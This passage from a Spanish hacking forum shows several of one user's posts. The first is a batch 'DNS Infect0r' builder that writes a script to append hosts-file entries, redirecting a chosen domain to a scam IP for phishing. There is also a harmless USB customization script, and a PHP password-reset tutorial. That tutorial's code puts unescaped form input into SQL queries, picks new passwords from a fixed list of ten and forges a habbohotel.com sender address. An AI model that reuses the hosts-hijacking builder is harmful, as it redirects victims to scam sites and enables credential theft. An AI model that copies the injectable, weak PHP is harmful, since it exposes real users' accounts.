echo [+]                                                              [+]   
echo [+]            *### [url=http://WWW.MECHANIXER.ORG]WWW.MECHANIXER.ORG[/url]                           [+]
echo [+]            *### [url=http://WWW.MECHANXIERPROJECTS.COM]WWW.MECHANXIERPROJECTS.COM[/url]                   [+]
echo [+]            *### [url=http://WWW.BLACFIRE.COM]WWW.BLACFIRE.COM[/url]                             [+]
echo [+]            *### [url=http://WWW.MAFIANIXER.COM]WWW.MAFIANIXER.COM[/url]                           [+]
echo [+]            *### [url=http://WWW.HABBOIN.NET]WWW.HABBOIN.NET[/url]                              [+]
echo [+]                                                              [+]
echo [+]                           Contacto:                          [+]
echo [+]            *### X.LOVESUXS.X:-com                     [+]
echo [+]            *### XT3MP@H4X0RZ.US                              [+]
echo [+]                                                              [+]
echo [+]                                                              [+]
echo [+]            *### Testeado en Windows XP SP2 y Vista           [+]
echo [+]            *### Programa en Batch para MXR Proy. 666         [+]
echo [+]            *### Bugs corregidos asi como el codigo           [+]
echo [+]                                                              [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo    ________________________________________________________________
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
echo [+]                      [ Instrucciones: ]                      [+]
echo [+]                                                              [+]
echo [+]           *Escribir nombre del infect0r                      [+]
echo [+]           *Escribir IP del scam                              [+]
echo [+]           *Escribir Host de la pagina a redireccionar        [+]
echo [+]           *WWW y http:// Integrado                           [+]
echo [+]           *este programa se encargara de eso.                [+]
echo [+]           *Dudas: mechanixer.org                             [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause >nul
cls
goto nombre
:nombre
echo    ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+]   *Escribe el nombre que le quieres dar al DNS Infect0r sin  [+]
echo [+]   *Caracteres especiales ni acentos                          [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P nombre=
cls
echo    ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+]  *Comprueba que el nombre del DNS Infect0r es el correcto    [+]   
echo      *Estas seguro que le quieres poner %nombre%?
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]                 
set /P r=
cls
if %r%==1 (goto ip) else goto nombre
echo.
echo.
echo.
pause >nul
echo.
echo.
echo.
:ip
echo    ________________________________________________________________
echo [+]_________________________IP del SCAM__________________________[+]
echo [+]  *Escoje 1 si te sabes la direccion IP de tu SCAM.           [+]
echo [+]  *Escoje 2 si no te sabes la direccion IP de tu SCAM.        [+]
echo [+]______________________________________________________________[+]
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+] 


set /P primerpregunta=
cls
if %primerpregunta%==1 (goto lineahost) else goto sacarip
pause >nul
echo.
echo.
echo.
:sacarip
echo    ________________________________________________________________
echo [+]______________________Sacar IP del SCAM_______________________[+]
echo [+]  *Escribe la pagina de tu SCAM sin WWW ni http://            [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P pagina=
if not defined pagina (cls&&msg * Escribe la pagina correctamente&&goto sacarip)
cls
pause >nul
goto ppagina
echo.
echo.
echo.
:ppagina
ping %pagina%
pause >nul
echo.
echo.
cls
goto lineahost
:lineahost
echo    ________________________________________________________________
echo [+]_____________________Escribir IP del SCAM_____________________[+]
echo [+]  *Escribe la IP de tu SCAM sin WWW ni http://                [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P ip1=
if not defined ip1 (cls&&msg * Escribe la pagina correctamente&&goto lineahost)
cls
goto 2
:2
echo    ________________________________________________________________
echo [+]_____________________Escribir el Dominio______________________[+]
echo [+]  *Escribe el Dominio de la pagina a redireccionar            [+]
echo [+]  *Ejemplo: mechanixer.org                                    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P host1=
if not defined host1 (cls&&msg * Escribe la pagina correctamente&&goto 2)
cls
9)
cls
goto etze
:etze
echo    ________________________________________________________________
echo [+]_________________________Comprobacion_________________________[+]
echo [+]  *La IP y el Dominio son las siguientes:                     [+]
echo [+]                                                              [+]
echo [+]  *IP del Scam:#########%ip1%
echo [+]  *Nombre del Dominio:##%host1%                                           
echo [+]______________________________________________________________[+]
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+] 
set /P etz=
if %etz%==1 (goto crear) else goto lineahost
cls
pause >nul
:crear
echo ^@echo off>>%nombre%.bat
echo cd C:\WINDOWS\system32\drivers\etc>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts>>%nombre%.bat
cls
goto adios
:adios
echo  __________________________________________________________________
echo [+]__________________________Finalizacion________________________[+]
echo [+]   *Archivo Creado Satisfactoriamente                         [+]
echo [+]   *No ejecutes el programa o te infectaras                   [+]
echo [+]   *El programa se creara en donde tengas este DNS Infect0r   [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause>nul
cls
goto subfinal
:subfinal
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                _     _     ______        ______              [+]
echo [+]               (_)   (_)_  (_____ \      (_____ \             [+]
echo [+]                  ___ _l l_ _____) )____  _____) )            [+]
echo [+]                 l   (_   _l_____ (l    \l  ____/             [+]
echo [+]                / / \ \l l_ _____) ) l l l l                  [+]
echo [+]               l_l   l_l\__l______/l_l_l_l_l                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]                         
pause>nul
cls
goto final
:final
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [*]   *Creado por xT3mP para Mechanixer Proyect                  [*]
echo [*]   *Para mayor informacion visitar [url=http://WWW.MECHANXIER.ORG]WWW.MECHANXIER.ORG[/url]         [*]
echo [*]                                                              [*]
echo [*]                                                              [*]
echo [*]               1-Ir a la pagina del proyecto                  [*]
echo [*]               2-Crear otro infector                          [*]
echo [*]               3-Salir                                        [*]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
set /P f=
cls
if %f%==1 (start http://www.foro.mechanixer.org)
if %f%==2 (goto inicio)
if %f%==3 (echo exit&&msg * Xt3mP: Gracias por utilizar el programa, no se te olvide visitar #WWW.MECHANXIER.ORG#)
cls
pause >nul


Saludos.

8
General / [Batch] Windows USB Customization TOOL v1.0
« en: 13 de Marzo de 2010, 06:53:57 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería el lenguaje Batch, pero aún así hago mis esfuerzos, este código esta expuesto a lo que sería B-injection pero el que realmente lo necesite no lo bajará para decir "Es vulnerable", si no que lo hago por el beneficio que les pueda brindar.

#########################################################################

Creador: Xt3mP
Utilidad: Personalización de USB
Lenguaje: Batch
Para: Comunidad de Mechanixer & e-r00t.
Instrucciones: Simplemente seguir las que te dice ahí.
Introducción: Programa en batch que te personaliza el USB indicado (dicho).
gr33tz: A mi buen estimado xassiz que me asesoró en una pequeña parte del código (color), sin él, el código no existiría.



Código: [Seleccionar]
@echo off
color 0A
mode con cols=85 lines=15
title Windows USB Customization Tool v1.0 by Xt3mP
:portada
echo.         
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³  Programa creado con ³
echo.      ³       ________ _______ ______ _______       ³  la finalidad de dar ³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³  un aspecto mejor a  ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³  la apariencia de el ³
echo.      ³      l________l___l   l______l l___l        ³  usb en Windows.     ³
echo.      ³                 ____      ______            ³                      ³
echo.      ³         .--.--.l_   l    l      l           ³  Esta es la versi¢n  ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³  1.0, apenas es un   ³
echo.      ³          \___/ l______l__l______l           ³  poco simple pero    ³
echo.      ³                                             ³  esperen a la v2.0   ³
echo.      ³                   By Xt3mP                  ³        SUERTE        ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
pause>nul
:fondo1
mode con cols=85 lines=22
cls
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³        Notas         ³
echo.      ³       ________ _______ ______ _______       ³______________________³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³                      ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³  Es importante que   ³
echo.      ³      l________l___l   l______l l___l        ³  escribas bien la    ³
echo.      ³                 ____      ______            ³  direcci¢n de la     ³
echo.      ³         .--.--.l_   l    l      l           ³  im gen si no te     ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³  puede dar un error. ³
echo.      ³          \___/ l______l__l______l           ³                      ³
echo.      ³                                             ³  Para facilitar la   ³
echo.      ³_____________________________________________³  direcci¢n de la     ³
echo.      ³                                             ³  im gen te recomien- ³
echo.      ³      A continuaci¢n deber s escribir        ³  do arrastrar la     ³
echo.      ³      la direcci¢n de la im gen que          ³  im gen a este batch ³
echo.      ³      quieres poner de fondo.                ³  y solo borrar las   ³
echo.      ³      Ej: C:\Documents.....imagen.png        ³  comillas que te a-  ³
echo.      ³                                             ³  parecer n.          ³
echo.      ³                   By Xt3mP                  ³                      ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ           
set /p fondo=
if not exist %fondo% (msg * Por favor escribe una direcci¢n correcta.&goto fondo1)
if not defined fondo (cls&&msg * No escribiste nada, por favor escribe una direcci¢n correcta.&&goto fondo1)
:icono1
cls
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³        Notas         ³
echo.      ³       ________ _______ ______ _______       ³______________________³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³                      ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³  Es importante que   ³
echo.      ³      l________l___l   l______l l___l        ³  escribas bien la    ³
echo.      ³                 ____      ______            ³  direcci¢n de el     ³
echo.      ³         .--.--.l_   l    l      l           ³  icono si no te      ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³  puede dar un error. ³
echo.      ³          \___/ l______l__l______l           ³                      ³
echo.      ³                                             ³  Para facilitar la   ³
echo.      ³_____________________________________________³  direcci¢n de el ico ³
echo.      ³                                             ³  no te recomiendo    ³
echo.      ³      A continuaci¢n deber s escribir        ³  arrastrar el icono  ³
echo.      ³      la direcci¢n de el icono que           ³  a este batch y solo ³
echo.      ³      quieres poner de vista.                ³  borrar las comillas ³
echo.      ³      Ej: C:\Documents.....icono.ico         ³  que te aparecer n.  ³
echo.      ³                                             ³                      ³
echo.      ³                   By Xt3mP                  ³                      ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
set /p icono=
if not exist %icono% (msg * Por favor escribe una direcci¢n correcta.&goto icono1)
if not defined icono (cls&&msg * No escribiste nada, por favor escribe una direcci¢n correcta.&&goto icono1)
:color1
cls
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³        Colores       ³
echo.      ³       ________ _______ ______ _______       ³______________________³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³                      ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³                      ³
echo.      ³      l________l___l   l______l l___l        ³                      ³
echo.      ³                 ____      ______            ³  Blanco:   16777215  ³
echo.      ³         .--.--.l_   l    l      l           ³  Rojo:     255       ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³  Azul:     16711680  ³
echo.      ³          \___/ l______l__l______l           ³  Verde:    65280     ³
echo.      ³                                             ³  Amarillo: 65535     ³
echo.      ³_____________________________________________³  Naranja:  33023     ³
echo.      ³                                             ³  Gris:     12632256  ³
echo.      ³      A continuaci¢n deber s escribir        ³  Morado:   16711808  ³
echo.      ³      el color de texto que quieres          ³                      ³
echo.      ³      que este dentro de tu USB.             ³                      ³
echo.      ³      Ej: 255                                ³                      ³
echo.      ³                                             ³                      ³
echo.      ³                   By Xt3mP                  ³                      ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
set /p color=
if not defined color (cls&&msg * No escribiste nada, por favor escribe un valor de color correcto.&&goto color1)
for %%_ in (1677715 255 16711680 65280 65535 33023 12632256 16711808) do (
if ["%color%"]==["%%_"]  (goto:usb1)
)
msg * El valor del color ingresado no coincide con los de la tabla de tu derecha.
goto:color1
:usb1
cls
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³        Notas         ³
echo.      ³       ________ _______ ______ _______       ³______________________³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³                      ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³  Es importante que   ³
echo.      ³      l________l___l   l______l l___l        ³  escribas bien la    ³
echo.      ³                 ____      ______            ³  direcci¢n de el     ³
echo.      ³         .--.--.l_   l    l      l           ³  USB si no te        ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³  puede dar un error. ³     
echo.      ³          \___/ l______l__l______l           ³                      ³
echo.      ³                                             ³  Para facilitar      ³
echo.      ³_____________________________________________³  direcci¢n de el USB ³
echo.      ³                                             ³  te recomiendo       ³
echo.      ³      A continuaci¢n deber s escribir        ³  arrastrar el USB    ³
echo.      ³      la direccion de tu USB el cual         ³  a este batch y solo ³
echo.      ³      quieres personalizar.                  ³  borrar las comillas ³
echo.      ³      Ej: USB:(E:)                           ³  que te aparecer n.  ³
echo.      ³                                             ³                      ³
echo.      ³                   By Xt3mP                  ³                      ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
set /p usb=
if not exist %usb% (msg * Por favor escribe una direcci¢n correcta.&goto usb1)
if not defined usb (cls&&msg * No escribiste nada, por favor escribe una direcci¢n correcta.&&goto usb1)
copy "%fondo%" "%usb%/fondo1.png"
copy "%icono%" "%usb%/icono.ico
echo cd %usb%/desktop.ini
echo [{BE098140-A513-11D0-A3A4-00C04FD706EC}]>>%usb%/desktop.ini
echo ICONAREA_IMAGE=fondo1.png>>%usb%/desktop.ini
echo ICONAREA_TEXT=%color%>>%usb%/desktop.ini
echo cd %usb%/autorun.inf
echo [AUTORUN]>>%usb%/autorun.inf
echo icon=icono.ico>>%usb%/autorun.inf
echo       ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo       ³           Personalizando USB...             ³
echo       ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:creditos
mode con cols=85 lines=27
cls
echo.      ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.      ³        Windows USB Customization Tool       ³      Comentarios     ³
echo.      ³       ________ _______ ______ _______       ³______________________³
echo.      ³      l  l  l  l    ___l     _l_     _l      ³                      ³
echo.      ³      l  l  l  l    ___l  --l_  l   l        ³ Programa creado      ³
echo.      ³      l________l___l   l______l l___l        ³ para que analizen    ³
echo.      ³                 ____      ______            ³ el codigo y tambien  ³
echo.      ³         .--.--.l_   l    l      l           ³ para personalizar el ³
echo.      ³         l  l  l _l  l_ __l  --  l           ³ USB.                 ³
echo.      ³          \___/ l______l__l______l           ³                      ³
echo.      ³                                             ³______________________³
echo.      ³_____________________________________________³        Gr33tz        ³
echo.      ³                                             ³______________________³
echo.      ³           Programaci¢n por: Xt3mP           ³                      ³
echo.      ³                                             ³   *Xassiz            ³                       
echo.      ³_____________________________________________³   *WsCalle1          ³
echo.      ³                                             ³   *Foro Mechanixer   ³
echo.      ³           Contacto: xT3mP@h4x0rz.us         ³   *Foro e-R00t       ³
echo.      ³           Paginas:                          ³                      ³
echo.      ³           [url=http://WWW.FORO.MECHANIXER.ORG]WWW.FORO.MECHANIXER.ORG[/url]           ³                      ³
echo.      ³           [url=http://WWW.e-r00t.org/FORO]WWW.e-r00t.org/FORO[/url]               ³                      ³
echo.      ³                                             ³______________________³
echo.      ³                   By Xt3mP                  ³    XT3mP@h4x0rz.us   ³
echo.      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
pause>nul
echo La imagen que se utilizo de fondo se encuentra en: %fondo%>>detalles.txt
echo La imagen que se utilizo de icono se encuentra en: %icono%>>detalles.txt
echo El color que se utilizo fue: %color%>>detalles.txt
echo La direccion de tu USB es: %usb%>>detalles.txt
start detalles.txt
start http://e-r00t.org/foro
start http://www.foro.mechanixer.org
msg * Gracias por utilizarel WUCT v1.0 / Xt3mP
exit

Saludos.

9
Tutoriales PHP / Cambiar password aleatoriamente en PHP
« en: 12 de Marzo de 2010, 03:41:12 am »
Hola ¿Qué tal? Esto que les mostraré como hacer es para cuando olviden la contraseña en su sistema de usuario puedan recuperarla aleatoriamente, en cambio si la contraseña no está encriptada ó tiene una encriptado two way (en dos sentidos de/codificación) pues no ocuparán esto.

Esto lo hice por que ayer que trabajaba en el MC Habbix v1.0, pues las contraseñas las encripto en sha1, y dije ¿Y si se les olvidan la password? entonces recorde que sha1 y md5 son one way, osea no se podrán hacer a la inversa, así que lo que harémos será:

·Darle un UPDATE a la base de datos con al nueva contraseña.
·Escojer una nueva contraseña.
·Encriptarla nuevamente en sha1.
·Envíarla por correo al usuario.

Comenzarémos por crear nuestra tabla llamada users:
Código: (php) [Seleccionar]
CREATE TABLE users (
id int(10) auto_increment,
user varchar(255) NOT NULL,
pass varchar(255) NOT NULL,
nick varchar(255) NOT NULL,
habbo varchar(255) NOT NULL,
mail varchar(255) NOT NULL,
PRIMARY KEY (id)
)

Una vez creado esto harémos un archivo PHP llamado recordar.html con 3 casillas de texto de la siguiente forma:
Código: (html) [Seleccionar]
<html><head><title>Recordar pass</title></head><body>
<form action="recordar.php" method="post">
Usuario:<input type="text" id="user" name="user" size="15"><br>
Nick:<input type="text" id="nick" name="habbo" size="15"><br>
Habbo:<input type="text" id="habbo" name="nick" size="15"><br>
<input type="submit" value="Recordar" id="recordar">
</form></body></html>

Ya deberíamos tener 3 casillas de texto llamadas de izquierda a derecha: user, nick y habbo.

Procederémos a crear el config.php que es al que le haremos llamado mediante el recordar.php:

Código: (php) [Seleccionar]
<?php
$dbhost
="localhost"//Host del mysql
$dbuser="USUARIO"//Usuario del mysql
$dbpass="PASS"//Password del mysql
$db="BASE DE DATOS"//Base de datos del mysql
//Nos conectamos y seleccionamos la base de datos del mysql
mysql_connect("$dbhost","$dbuser","$dbpass");
mysql_select_db("$db");
?>


Este config.php modifiquen los datos de ingreso si no no les funcionará, procederémos a crear el recordar.php:

Primero comprobarémos el valor de las casillas de texto y le indicamos unas condicionales en dado caso que no tengan valor:
Código: (php) [Seleccionar]
<?php
if ($_POST[&#39;user&#39;] == "" or $_POST[&#39;nick&#39;] == "" or $_POST[&#39;habbo&#39;] == ""){ // Comprobamos que las casillas de texto no tengan valor.
echo &#39;Te faltaron rellenar campos.&#39;;
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=recordar.html&#39;>"// Si estan vacias los redireccionamos a recordar.html
}else{
include (&
#39;config.php&#39;); // Incluimos la conexion de la base de datos
$user $_POST[&#39;user&#39;]; // Obtenemos el valor de la casilla user
$nick $_POST[&#39;nick&#39;]; // Obtenemos el valor de la casilla nick
$habbo $_POST[&#39;habbo&#39;]; // Obtenemos el valor de la casilla habbo
?>


Despúes comprobamos que los valores de las casillas de texto existen en la base de datos, en la tabla users de la siguiente forma:

Código: (php) [Seleccionar]
<?php
$usuarios 
mysql_query("SELECT * FROM users WHERE user=&#39;$user&#39; and nick=&#39;$nick&#39; and habbo=&#39;$habbo&#39; ");
?>


Una vez hecho esto, comprobamos que si se llevo a cabo la petición haga el array para generar la password aleatoria:

Código: (php) [Seleccionar]
<?php
if($user_ok mysql_fetch_array($usuarios)){
$aleatoria = array(=> &#39;a83je05&#39;, 2 => &#39;dk59dj3&#39;, 3 => &#39;a0sk3h4&#39;, 4 => &#39;a03jdy7&#39;, 5 => &#39;a904k5t&#39;, 6 => &#39;sj59edh&#39;, 7 => &#39;9dj5yas&#39;, 8 => &#39;4fdo5ks&#39;, 9 => &#39;sk49dj4&#39;, 10 => &#39;i4k04kd&#39;);
$pass rand(1,10);
?>


Aquí le metemos arrays a la variable aleatoria con arrays numéricos, ya que el rand solo acepta valores numéricos, por lo tanto el rand escojerá un número del 1 al 10 en este caso, y al momento de llamar al array escojerá un valor aleatorio.
Despúes, encriptarémos la contraseña  y harémos el UPDATE a la base de datos así:

Código: (php) [Seleccionar]
<?php
$pass_new 
sha1($aleatoria[$pass]); //Encriptamos en sha1
$SQL "UPDATE users SET pass=&#39;".$pass_new."&#39; WHERE id=&#39;".$user_ok[&#39;id&#39;]."&#39;"; // Hacemos el UPDATE
mysql_query($SQL);
?>


Aquí encriptamos la contraseña en sha1 y hacemos el update sustituyendo el valor del campo pass original por el de la contraseña aleatoria encriptada en sha1, $user_ok['id'] tiene el valor del ID de fila de los datos que ingresamos anteriormente, en este caso los de la casilal de texto.

Ahora harémos una carta donde tendrá la nueva contraseña así y le pondrémos los headers del formáto de envío de corre electrónico:

Código: (php) [Seleccionar]
<?php
$new_pass 
= &#39;
MC Habbix v1.0 Recordar contraseña.
Tu usuario es: &#39;.$user_ok[&#39;user&#39;].&#39;
Su nueva contraseña es: &#39;.$aleatoria[$pass].&#39;

----------------------

MC Habbix v1.0 Administrators.&#39;;
$asunto "MC Habbix v1.0 ~ New Pass";
$headers "MIME-Version: 1.0\n";
$headers .= "Content-type: text/plain; charset=iso-8859-1\n";
$headers .= "From: MC Habbix v1.0 <mailings@habbohotel.com>\n";
$headers .= "To: ".$user_ok[&#39;habbo&#39;]." <".$user_ok[&#39;mail&#39;].">\n";
$headers .= "Reply-To: mailings@habbohotel.com\n";
?>


Aquí pues mostrarémos lo que sería el usuario y la nueva contraseña, si se dan cuenta la contraseña es $aleatoria[$pass], ¿Por qué? Por que aleatoria son arrays y para llamar a un array se hace de esta forma:

$aleatoria[0]
$aleatoria[1]
Etc, dependiendo cuantos valores tengan, entonces a $pass tiene la función rand que nos genera un número aleatoriamente, por lo tanto al elejir aleatoriamente y poner $aleatoria[$pass] está elijiendo un número al azar y dependiendo el número que se elija es la nueva contraseña que tendrá.

Ahora simplemente enviarémos el correo así:
Código: (php) [Seleccionar]
<?php
mail
($user_ok[&#39;mail&#39;],$asunto,$new_pass,$headers);
?>


En donde $user_ok['mail'] es el del usuario, el asunto es el que anteriormente escribimos en la variable $asunto, $new_pass es la carta con los datos, y $headers es el formáto de envío.

Ahora pondrémos por último unas condicionales y cerrarémos todas las llaves así:

Código: (php) [Seleccionar]
<?php
echo &#39;Se ha envíado tu nueva contraseña a tu dirección de registro.&#39;;
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=chat.php&#39;>";
        }else{
        echo &
#39;Datos no encontrados.&#39;;
        
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=recordar.html&#39;>";
            }
        }
    }
}
?>


Y esto sería todo, aquí les dejo el código final:

Código: (php) [Seleccionar]
<?php
if ($_POST[&#39;user&#39;] == "" or $_POST[&#39;nick&#39;] == "" or $_POST[&#39;habbo&#39;] == ""){ // Comprobamos que las casillas de texto no tengan valor.
echo &#39;Te faltaron rellenar campos.&#39;;
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=recordar.html&#39;>"// Si estan vacias los redireccionamos a recordar.html
}else{
include (&
#39;config.php&#39;); // Incluimos la conexion de la base de datos
$user $_POST[&#39;user&#39;]; // Obtenemos el valor de la casilla user
$nick $_POST[&#39;nick&#39;]; // Obtenemos el valor de la casilla nick
$habbo $_POST[&#39;habbo&#39;]; // Obtenemos el valor de la casilla habbo
$usuarios mysql_query("SELECT * FROM users WHERE user=&#39;$user&#39; and nick=&#39;$nick&#39; and habbo=&#39;$habbo&#39; "); // Checamos que los datos existan
if($user_ok mysql_fetch_array($usuarios)){
$aleatoria = array(=> &#39;a83je05&#39;, 2 => &#39;dk59dj3&#39;, 3 => &#39;a0sk3h4&#39;, 4 => &#39;a03jdy7&#39;, 5 => &#39;a904k5t&#39;, 6 => &#39;sj59edh&#39;, 7 => &#39;9dj5yas&#39;, 8 => &#39;4fdo5ks&#39;, 9 => &#39;sk49dj4&#39;, 10 => &#39;i4k04kd&#39;); // Ponemos frases cualquiera en el array de aleatoria
$pass rand(1,10); // Generamos un numero al azar del 1 al 10
$pass_new sha1($aleatoria[$pass]); // Encriptamos pass en sha1
$SQL "UPDATE users SET pass=&#39;".$pass_new."&#39; WHERE id=&#39;".$user_ok[&#39;id&#39;]."&#39;";
mysql_query($SQL);
$new_pass = &#39;
MC Habbix v1.0 Recordar contraseña.
Tu usuario es: &#39;.$user_ok[&#39;user&#39;].&#39;
Su nueva contraseña es: &#39;.$aleatoria[$pass].&#39;

----------------------

MC Habbix v1.0 Administrators.&#39;;
$asunto "MC Habbix v1.0 ~ New Pass"// Asunto del correo
$headers "MIME-Version: 1.0\n";
$headers .= "Content-type: text/plain; charset=iso-8859-1\n";
$headers .= "From: MC Habbix v1.0 <mailings@habbohotel.com>\n";// Correo del remitente
$headers .= "To: ".$user_ok[&#39;habbo&#39;]." <".$user_ok[&#39;mail&#39;].">\n"; // Correo del destinatario
$headers .= "Reply-To: mailings@habbohotel.com\n"// A quien responder
mail($user_ok[&#39;mail&#39;],$asunto,$new_pass,$headers); // Enviamos correo
echo &#39;Se ha envíado tu nueva contraseña a tu dirección de registro.&#39;; // Si el correo se envio correctamente
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=chat.php&#39;>";
        }else{ 
// Si los datos no existen
        
echo &#39;Datos no encontrados.&#39;;
        
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=recordar.html&#39;>";
       
 }
       }
     }
   }
?>


Suerte, cualquier duda ó corrección haganmela saber ya que modifiqué ciertos aspectos para mostrarselos.

10
Minichat o MC / [Creando] MC Habbix v1.0
« en: 10 de Marzo de 2010, 05:11:46 am »
MC Habbix v1.0 BETA ~ Construcción ~ Open Source

Modificado:

